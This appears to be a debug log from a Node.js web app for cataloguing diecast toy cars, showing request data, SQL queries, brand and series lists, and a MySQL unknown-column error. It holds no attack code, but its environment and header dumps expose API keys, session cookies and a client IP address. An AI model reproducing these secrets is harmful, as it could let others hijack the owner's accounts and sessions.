    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-13T10:02:12.924Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:12.927Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:12.929Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:02:12.931Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:02:12.931Z server-connect:app Executing action step identify
2026-07-13T10:02:12.931Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:12.931Z server-connect:output identity: 1
2026-07-13T10:02:12.931Z server-connect:app Executing action step restrict
2026-07-13T10:02:12.931Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:12.932Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:12.932Z server-connect:output restrict: undefined
2026-07-13T10:02:12.933Z server-connect:app Executing action step select
2026-07-13T10:02:12.933Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:12.935Z server-connect:app Executing action step identify
2026-07-13T10:02:12.935Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:12.935Z server-connect:output identity: 1
2026-07-13T10:02:12.936Z server-connect:app Executing action step restrict
2026-07-13T10:02:12.936Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:12.936Z server-connect:app Executing action step identify
2026-07-13T10:02:12.936Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:12.936Z server-connect:output identity: 1
2026-07-13T10:02:12.936Z server-connect:app Executing action step restrict
2026-07-13T10:02:12.936Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:12.940Z server-connect:app Executing action step identify
2026-07-13T10:02:12.940Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:12.940Z server-connect:output identity: 1
2026-07-13T10:02:12.940Z server-connect:app Executing action step restrict
2026-07-13T10:02:12.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:12.942Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:02:12.943Z server-connect:output restrict: undefined
2026-07-13T10:02:12.943Z server-connect:app Executing action step select
2026-07-13T10:02:12.944Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:12.944Z server-connect:output restrict: undefined
2026-07-13T10:02:12.944Z server-connect:app Executing action step paged
2026-07-13T10:02:12.945Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:02:12.946Z server-connect:app Executing action step identify
2026-07-13T10:02:12.946Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:12.947Z server-connect:output identity: 1
2026-07-13T10:02:12.947Z server-connect:app Executing action step restrict
2026-07-13T10:02:12.947Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:12.948Z server-connect:output restrict: undefined
2026-07-13T10:02:12.948Z server-connect:app Executing action step select
2026-07-13T10:02:12.948Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:12.951Z server-connect:output restrict: undefined
2026-07-13T10:02:12.951Z server-connect:app Executing action step select
2026-07-13T10:02:12.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:12.952Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:02:12.955Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:02:12.955Z server-connect:app Executing action step select
2026-07-13T10:02:12.955Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:12.956Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:02:12.959Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:12.961Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:12.963Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:02:12.963Z server-connect:app Executing action step select
2026-07-13T10:02:12.963Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:12.964Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:02:16.841Z server-connect:router Serving templateView /diecast-worksheet
2026-07-13T10:02:16.842Z server-connect:app Executing action step identify
2026-07-13T10:02:16.842Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:16.842Z server-connect:output identity: 1
2026-07-13T10:02:16.842Z server-connect:app Executing action step restrict
2026-07-13T10:02:16.842Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:16.843Z server-connect:output restrict: undefined
2026-07-13T10:02:16.843Z server-connect:router Render template diecast-worksheet
2026-07-13T10:02:16.843Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
